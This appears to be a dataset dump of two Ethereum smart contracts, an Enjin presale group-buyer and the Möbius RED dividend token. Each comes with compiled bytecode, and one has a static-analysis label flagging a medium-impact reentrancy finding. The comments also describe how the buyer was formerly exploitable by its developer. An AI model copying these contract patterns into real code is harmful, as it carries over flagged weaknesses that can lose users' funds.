pragma solidity ^0.4.16; /* Enjin $1M Group Buyer ======================== Moves $1M worth of ETH into the Enjin presale multisig wallet Enjin multisig wallet: 0xc4740f71323129669424d1Ae06c42AEE99da30e2 Modified version of /u/Cintix Monetha ICOBuyer Modified by @ezra242 Fixes suggested by @icoscammer and @adevabhaktuni Please be aware users must possess the know-how to execute a function in Parity or Ethereum Mist Wallet to withdraw their tokens from this contract User must specify the token address manually to withdraw tokens */ // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract EnjinBuyer { // The minimum amount of eth required before the contract will buy in // Enjin requires $1000000 @ 306.22 for 50% bonus uint256 public eth_minimum = 3270 ether; // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Bounty for executing buy. uint256 public buy_bounty; // Bounty for executing withdrawals. uint256 public withdraw_bounty; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; // Emergency kill switch in case a critical bug is found. bool public kill_switch; // SHA3 hash of kill switch password. bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09; // Earliest time contract is allowed to buy into the crowdsale. // This time constant is in the past, not important for Enjin buyer, we will only purchase once uint256 public earliest_buy_time = 1504188000; // Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure. uint256 public eth_cap = 5000 ether; // The developer address. address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651; // The crowdsale address. Settable by the developer. address public sale; // The token address. Settable by the developer. ERC20 public token; // Allows the developer to set the crowdsale addresses. function set_sale_address(address _sale) { // Only allow the developer to set the sale addresses. require(msg.sender == developer); // Only allow setting the addresses once. require(sale == 0x0); // Set the crowdsale and token addresses. sale = _sale; } // DEPRECATED -- Users must execute withdraw and specify the token address explicitly // This contract was formerly exploitable by a malicious dev zeroing out former // user balances with a junk token // Allows the developer to set the token address ! // Enjin does not release token address until public crowdsale // In theory, developer could shaft everyone by setting incorrect token address // Please be careful //function set_token_address(address _token) { // Only allow the developer to set token addresses. // require(msg.sender == developer); // Set the token addresses. // token = ERC20(_token); //} // Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies. function activate_kill_switch(string password) { // Only activate the kill switch if the sender is the developer or the password is correct. require(msg.sender == developer || sha3(password) == password_hash); // Store the claimed bounty in a temporary variable. uint256 claimed_bounty = buy_bounty; // Update bounty prior to sending to prevent recursive call. buy_bounty = 0; // Irreversibly activate the kill switch. kill_switch = true; // Send the caller their bounty for activating the kill switch. msg.sender.transfer(claimed_bounty); } // Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller. function withdraw(address user, address _token){ // Only allow withdrawal requests initiated by the user! // This means every user of this contract must be versed in how to // execute a function on a contract. Every user must also supply // the correct token address for Enjin. This address will not be known until // October 3 2017 require(msg.sender == user); // Only allow withdrawals after the contract has had a chance to buy in. require(bought_tokens || now > earliest_buy_time + 1 hours); // Short circuit to save gas if the user doesn&#39;t have a balance. if (balances[user] == 0) return; // If the contract failed to buy into the sale, withdraw the user&#39;s ETH. if (!bought_tokens) { // Store the user&#39;s balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[user]; // Update the user&#39;s balance prior to sending ETH to prevent recursive call. balances[user] = 0; // Return the user&#39;s funds. Throws on failure to prevent loss of funds. user.transfer(eth_to_withdraw); } // Withdraw the user&#39;s tokens if the contract has purchased them. else { // Set token to the token specified by the user // Should work in cases where the user specifies a token not held by the contract // Should also work in cases where the user specifies a worthless token held by the contract // In aforementioned case, the user will zero out their balance // and receive their worthless token, but affect no one else token = ERC20(_token); // Retrieve current token balance of contract. uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); // Store the user&#39;s token balance in a temporary variable. uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[user]; // Update the user&#39;s balance prior to sending to prevent recursive call. balances[user] = 0; // 1% fee if contract successfully bought tokens. //uint256 fee = tokens_to_withdraw / 100; // Send the fee to the developer. //require(token.transfer(developer, fee)); // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(user, tokens_to_withdraw)); } // Each withdraw call earns 1% of the current withdraw bounty. uint256 claimed_bounty = withdraw_bounty / 100; // Update the withdraw bounty prior to sending to prevent recursive call. withdraw_bounty -= claimed_bounty; // Send the caller their bounty for withdrawing on the user&#39;s behalf. msg.sender.transfer(claimed_bounty); } // Allows developer to add ETH to the buy execution bounty. function add_to_buy_bounty() payable { // Only allow the developer to contribute to the buy execution bounty. require(msg.sender == developer); // Update bounty to include received amount. buy_bounty += msg.value; } // Allows developer to add ETH to the withdraw execution bounty. function add_to_withdraw_bounty() payable { // Only allow the developer to contribute to the buy execution bounty. require(msg.sender == developer); // Update bounty to include received amount. withdraw_bounty += msg.value; } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function claim_bounty(){ // If we don&#39;t have eth_minimum eth in contract, don&#39;t buy in // Enjin requires $1M minimum for 50% bonus if (this.balance < eth_minimum) return; // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Short circuit to save gas if the earliest buy time hasn&#39;t been reached. if (now < earliest_buy_time) return; // Short circuit to save gas if kill switch is active. if (kill_switch) return; // Disallow buying in if the developer hasn&#39;t set the sale address yet. require(sale != 0x0); // Record that the contract has bought the tokens. bought_tokens = true; // Store the claimed bounty in a temporary variable. uint256 claimed_bounty = buy_bounty; // Update bounty prior to sending to prevent recursive call. buy_bounty = 0; // Record the amount of ETH sent as the contract&#39;s current value. contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty); // Transfer all the funds (less the bounties) to the crowdsale address // to buy tokens. Throws if the crowdsale hasn&#39;t started yet or has // already completed, preventing loss of funds. require(sale.call.value(contract_eth_value)()); // Send the caller their bounty for buying tokens for the contract. msg.sender.transfer(claimed_bounty); } // Default function. Called when a user sends ETH to the contract. function () payable { // Disallow deposits if kill switch is active. require(!kill_switch); // Only allow deposits if the contract hasn&#39;t already purchased the tokens. require(!bought_tokens); // Only allow deposits that won&#39;t exceed the contract&#39;s ETH cap. require(this.balance < eth_cap); // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } }
0x606060405236156100e05763ffffffff60e060020a60003504166302f58015811461013a578063152483621461014f57806327e235e31461017457806336bee178146101a55780636360fc3f146101af5780636ad1fe02146101d657806388a89dd014610205578063a089feea1461020f578063a5c860ba14610236578063a9726c1e1461025b578063c42bb1e414610280578063ca4b208b146102a5578063d4701c35146102d4578063dbfeb17f14610327578063f2bee03d1461034c578063f79dcf8d1461036d578063f940e38514610392578063fc0c546a146103b9575b5b60065460ff16156100f157600080fd5b60045460ff161561010157600080fd5b600954600160a060020a033016311061011957600080fd5b600160a060020a03331660009081526001602052604090208054340190555b005b341561014557600080fd5b6101386103e8565b005b341561015a57600080fd5b6101626104d8565b60405190815260200160405180910390f35b341561017f57600080fd5b610162600160a060020a03600435166104de565b60405190815260200160405180910390f35b6101386104f0565b005b34156101ba57600080fd5b6101c2610516565b604051901515815260200160405180910390f35b34156101e157600080fd5b6101e961051f565b604051600160a060020a03909116815260200160405180910390f35b61013861052e565b005b341561021a57600080fd5b6101c2610554565b604051901515815260200160405180910390f35b341561024157600080fd5b61016261055d565b60405190815260200160405180910390f35b341561026657600080fd5b610162610563565b60405190815260200160405180910390f35b341561028b57600080fd5b610162610569565b60405190815260200160405180910390f35b34156102b057600080fd5b6101e961056f565b604051600160a060020a03909116815260200160405180910390f35b34156102df57600080fd5b61013860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061057e95505050505050565b005b341561033257600080fd5b610162610654565b60405190815260200160405180910390f35b341561035757600080fd5b610138600160a060020a036004351661065a565b005b341561037857600080fd5b6101626106b7565b60405190815260200160405180910390f35b341561039d57600080fd5b610138600160a060020a03600435811690602435166106bd565b005b34156103c457600080fd5b6101e961094b565b604051600160a060020a03909116815260200160405180910390f35b6000805430600160a060020a0316311015610402576104d4565b60045460ff1615610412576104d4565b600854421015610421576104d4565b60065460ff1615610431576104d4565b600b54600160a060020a0316151561044857600080fd5b506004805460ff191660011790556002805460009091556003548101600160a060020a0330811631919091036005819055600b549091169060405160006040518083038185876187965a03f19250505015156104a357600080fd5b600160a060020a03331681156108fc0282604051600060405180830381858888f1935050505015156104d457600080fd5b5b50565b60025481565b60016020526000908152604090205481565b600a5433600160a060020a0390811691161461050b57600080fd5b60038054340190555b565b60045460ff1681565b600b54600160a060020a031681565b600a5433600160a060020a0390811691161461054957600080fd5b60028054340190555b565b60065460ff1681565b60005481565b60035481565b60055481565b600a54600160a060020a031681565b600a5460009033600160a060020a03908116911614806105fc5750600754826040518082805190602001908083835b602083106105cd57805182525b601f1990920191602091820191016105ad565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020145b151561060757600080fd5b506002805460009091556006805460ff19166001179055600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561064f57600080fd5b5b5050565b60095481565b600a5433600160a060020a0390811691161461067557600080fd5b600b54600160a060020a03161561068b57600080fd5b600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60085481565b60008060008085600160a060020a031633600160a060020a03161415156106e357600080fd5b60045460ff16806106f95750600854610e100142115b151561070457600080fd5b600160a060020a038616600090815260016020526040902054151561072857610942565b60045460ff16151561078157600160a060020a038616600081815260016020526040808220805492905590955085156108fc0290869051600060405180830381858888f19350505050151561077c57600080fd5b6108f9565b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038781169190911791829055166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107fd57600080fd5b6102c65a03f1151561080e57600080fd5b505050604051805193505082151561082557600080fd5b600554600160a060020a038716600090815260016020526040902054840281151561084c57fe5b600160a060020a03808916600090815260016020526040808220805460058054919091039055829055600c5494909304955092169163a9059cbb9189918691516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108d357600080fd5b6102c65a03f115156108e457600080fd5b5050506040518051905015156108f957600080fd5b5b6003546064905b60038054929091049182900390559050600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561094257600080fd5b5b505050505050565b600c54600160a060020a0316815600a165627a7a723058201880224fcb8a803bf7fad0cd1e8f933cf2fcd838b8f2dc9e6e9275d6e65d787c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,260
0x72ffda7153bab00e61ed93344eed8dcaec7450b4
pragma solidity^0.4.24; /** * * //////// https://mobius.red/ \\\\\\\ * //////// Holders receive divs \\\\\\\ * //////// on any game we develop! \\\\\\\ * */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract StandardToken { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MobiusRedToken is MintableToken { using SafeMath for uint; address creator = msg.sender; uint8 public decimals = 18; string public name = "M&#246;bius RED"; string public symbol = "MRD"; uint public totalDividends; uint public lastRevenueBnum; uint public unclaimedDividends; struct DividendAccount { uint balance; uint lastCumulativeDividends; uint lastWithdrawnBnum; } mapping (address => DividendAccount) public dividendAccounts; modifier onlyTokenHolders{ require(balances[msg.sender] > 0, "Not a token owner!"); _; } modifier updateAccount(address _of) { _updateDividends(_of); _; } event DividendsWithdrawn(address indexed from, uint value); event DividendsTransferred(address indexed from, address indexed to, uint value); event DividendsDisbursed(uint value); function mint(address _to, uint256 _amount) public returns (bool) { // devs get 33.3% of all tokens. Much of this will be used for bounties and community incentives super.mint(creator, _amount/2); // When an investor gets 2 tokens, devs get 1 return super.mint(_to, _amount); } function transfer(address _to, uint _value) public returns (bool success) { _transferDividends(msg.sender, _to, _value); require(super.transfer(_to, _value), "Failed to transfer tokens!"); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { _transferDividends(_from, _to, _value); require(super.transferFrom(_from, _to, _value), "Failed to transfer tokens!"); return true; } // Devs can move tokens without dividends during the ICO for bounty purposes function donate(address _to, uint _value) public returns (bool success) { require(msg.sender == creator, "You can&#39;t do that!"); require(!mintingFinished, "ICO Period is over - use a normal transfer."); return super.transfer(_to, _value); } function withdrawDividends() public onlyTokenHolders { uint amount = _getDividendsBalance(msg.sender); require(amount > 0, "Nothing to withdraw!"); unclaimedDividends = unclaimedDividends.sub(amount); dividendAccounts[msg.sender].balance = 0; dividendAccounts[msg.sender].lastWithdrawnBnum = block.number; msg.sender.transfer(amount); emit DividendsWithdrawn(msg.sender, amount); } function dividendsAvailable(address _for) public view returns(bool) { return lastRevenueBnum >= dividendAccounts[_for].lastWithdrawnBnum; } function getDividendsBalance(address _of) external view returns(uint) { uint outstanding = _dividendsOutstanding(_of); if (outstanding > 0) { return dividendAccounts[_of].balance.add(outstanding); } return dividendAccounts[_of].balance; } function disburseDividends() public payable { if(msg.value == 0) { return; } totalDividends = totalDividends.add(msg.value); unclaimedDividends = unclaimedDividends.add(msg.value); lastRevenueBnum = block.number; emit DividendsDisbursed(msg.value); } function () public payable { disburseDividends(); } function _transferDividends(address _from, address _to, uint _tokensValue) internal updateAccount(_from) updateAccount(_to) { uint amount = dividendAccounts[_from].balance.mul(_tokensValue).div(balances[_from]); if(amount > 0) { dividendAccounts[_from].balance = dividendAccounts[_from].balance.sub(amount); dividendAccounts[_to].balance = dividendAccounts[_to].balance.add(amount); dividendAccounts[_to].lastWithdrawnBnum = dividendAccounts[_from].lastWithdrawnBnum; emit DividendsTransferred(_from, _to, amount); } } function _getDividendsBalance(address _holder) internal updateAccount(_holder) returns(uint) { return dividendAccounts[_holder].balance; } function _updateDividends(address _holder) internal { require(mintingFinished, "Can&#39;t calculate balances if still minting tokens!"); uint outstanding = _dividendsOutstanding(_holder); if (outstanding > 0) { dividendAccounts[_holder].balance = dividendAccounts[_holder].balance.add(outstanding); } dividendAccounts[_holder].lastCumulativeDividends = totalDividends; } function _dividendsOutstanding(address _holder) internal view returns(uint) { uint newDividends = totalDividends.sub(dividendAccounts[_holder].lastCumulativeDividends); if(newDividends == 0) { return 0; } else { return newDividends.mul(balances[_holder]).div(totalSupply_); } } } library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461015d57806306fdde0314610186578063095ea7b31461021057806318160ddd1461023457806323b872dd1461025b5780632e92abdd14610285578063313ce5671461029a57806336ef1abb146101535780633cb802b9146102c557806340c10f19146102da578063427539c9146102fe57806351ee387d14610313578063661884631461033457806370a0823114610358578063715018a6146103795780637d64bcb41461038e5780638da5cb5b146103a357806395d89b41146103d4578063997664d7146103e9578063a9059cbb146103fe578063d73dd62314610422578063dca919de14610446578063dd62ed3e14610485578063e69d849d146104ac578063f2fde38b146104d0578063f88351d9146104f1575b61015b610512565b005b34801561016957600080fd5b50610172610584565b604080519115158252519081900360200190f35b34801561019257600080fd5b5061019b610594565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021c57600080fd5b50610172600160a060020a0360043516602435610622565b34801561024057600080fd5b50610249610688565b60408051918252519081900360200190f35b34801561026757600080fd5b50610172600160a060020a036004358116906024351660443561068e565b34801561029157600080fd5b5061015b610706565b3480156102a657600080fd5b506102af610861565b6040805160ff9092168252519081900360200190f35b3480156102d157600080fd5b50610249610871565b3480156102e657600080fd5b50610172600160a060020a0360043516602435610877565b34801561030a57600080fd5b506102496108a5565b34801561031f57600080fd5b50610172600160a060020a03600435166108ab565b34801561034057600080fd5b50610172600160a060020a03600435166024356108ce565b34801561036457600080fd5b50610249600160a060020a03600435166109bf565b34801561038557600080fd5b5061015b6109da565b34801561039a57600080fd5b50610172610a48565b3480156103af57600080fd5b506103b8610acc565b60408051600160a060020a039092168252519081900360200190f35b3480156103e057600080fd5b5061019b610adb565b3480156103f557600080fd5b50610249610b36565b34801561040a57600080fd5b50610172600160a060020a0360043516602435610b3c565b34801561042e57600080fd5b50610172600160a060020a0360043516602435610bb2565b34801561045257600080fd5b50610467600160a060020a0360043516610c4b565b60408051938452602084019290925282820152519081900360600190f35b34801561049157600080fd5b50610249600160a060020a0360043581169060243516610c6c565b3480156104b857600080fd5b50610172600160a060020a0360043516602435610c97565b3480156104dc57600080fd5b5061015b600160a060020a0360043516610d8e565b3480156104fd57600080fd5b50610249600160a060020a0360043516610db1565b34151561051e57610582565b600754610531903463ffffffff610e1a16565b600755600954610547903463ffffffff610e1a16565b600955436008556040805134815290517f23a65426dca7f39133773f3c2b30ae8531465535690013b0be73ee3bd33fb8b39181900360200190a15b565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600061069b848484610e2c565b6106a6848484610f66565b15156106fc576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b5060019392505050565b33600090815260208190526040812054811061076c576040805160e560020a62461bcd02815260206004820152601260248201527f4e6f74206120746f6b656e206f776e6572210000000000000000000000000000604482015290519081900360640190fd5b610775336110db565b9050600081116107cf576040805160e560020a62461bcd02815260206004820152601460248201527f4e6f7468696e6720746f20776974686472617721000000000000000000000000604482015290519081900360640190fd5b6009546107e2908263ffffffff6110e716565b600955336000818152600a6020526040808220828155436002909101555183156108fc0291849190818181858888f19350505050158015610827573d6000803e3d6000fd5b5060408051828152905133917f08d688a92fc311df9b853769e8a99b320411042a86f106fd29e7f21ee06e79da919081900360200190a250565b60045460a060020a900460ff1681565b60095481565b60045460009061089390600160a060020a0316600284046110fe565b5061089e83836110fe565b9392505050565b60085481565b600160a060020a03166000908152600a6020526040902060020154600854101590565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061092257336000908152600160209081526040808320600160a060020a0388168452909152812055610957565b610932818463ffffffff6110e716565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146109f157600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610a6257600080fd5b60035460a060020a900460ff1615610a7957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b60075481565b6000610b49338484610e2c565b610b538383611208565b1515610ba9576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b50600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610be6908363ffffffff610e1a16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600a6020526000908152604090208054600182015460029092015490919083565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600454600090600160a060020a03163314610cfc576040805160e560020a62461bcd02815260206004820152601260248201527f596f752063616e277420646f2074686174210000000000000000000000000000604482015290519081900360640190fd5b60035460a060020a900460ff1615610d84576040805160e560020a62461bcd02815260206004820152602b60248201527f49434f20506572696f64206973206f766572202d207573652061206e6f726d6160448201527f6c207472616e736665722e000000000000000000000000000000000000000000606482015290519081900360840190fd5b61089e8383611208565b600354600160a060020a03163314610da557600080fd5b610dae816112e7565b50565b600080610dbd83611365565b90506000811115610df857600160a060020a0383166000908152600a6020526040902054610df1908263ffffffff610e1a16565b9150610e14565b600160a060020a0383166000908152600a602052604090205491505b50919050565b60008282018381101561089e57600080fd5b600083610e38816113da565b83610e42816113da565b600160a060020a03861660009081526020818152604080832054600a90925290912054610e869190610e7a908763ffffffff6114e016565b9063ffffffff61150e16565b92506000831115610f5e57600160a060020a0386166000908152600a6020526040902054610eba908463ffffffff6110e716565b600160a060020a038088166000908152600a60205260408082209390935590871681522054610eef908463ffffffff610e1a16565b600160a060020a038087166000818152600a60209081526040808320958655938b168083528483206002908101549385905290950191909155825187815292519193927ff99e1703995723f297efb71e45f6c282b4ff86d1f3ef67da774949dd2ad7e3ac929081900390910190a35b505050505050565b600160a060020a038316600090815260208190526040812054821115610f8b57600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610fbb57600080fd5b600160a060020a0383161515610fd057600080fd5b600160a060020a038416600090815260208190526040902054610ff9908363ffffffff6110e716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461102e908363ffffffff610e1a16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054611070908363ffffffff6110e716565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600081610df8816113da565b600080838311156110f757600080fd5b5050900390565b600354600090600160a060020a0316331461111857600080fd5b60035460a060020a900460ff161561112f57600080fd5b600254611142908363ffffffff610e1a16565b600255600160a060020a03831660009081526020819052604090205461116e908363ffffffff610e1a16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b3360009081526020819052604081205482111561122457600080fd5b600160a060020a038316151561123957600080fd5b33600090815260208190526040902054611259908363ffffffff6110e716565b3360009081526020819052604080822092909255600160a060020a0385168152205461128b908363ffffffff610e1a16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03811615156112fc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0381166000908152600a60205260408120600101546007548291611396919063ffffffff6110e716565b90508015156113a85760009150610e14565b600254600160a060020a038416600090815260208190526040902054610df19190610e7a90849063ffffffff6114e016565b60035460009060a060020a900460ff161515611466576040805160e560020a62461bcd02815260206004820152603160248201527f43616e27742063616c63756c6174652062616c616e636573206966207374696c60448201527f6c206d696e74696e6720746f6b656e7321000000000000000000000000000000606482015290519081900360840190fd5b61146f82611365565b905060008111156114bd57600160a060020a0382166000908152600a60205260409020546114a3908263ffffffff610e1a16565b600160a060020a0383166000908152600a60205260409020555b50600754600160a060020a039091166000908152600a6020526040902060010155565b6000808315156114f357600091506109b8565b5082820282848281151561150357fe5b041461089e57600080fd5b60008080831161151d57600080fd5b828481151561152857fe5b049493505050505600a165627a7a72305820b0ba22b57b20bde2442bd0d53a7f357a6ff696b2c8053a557c6a0bbd0d4bab380029
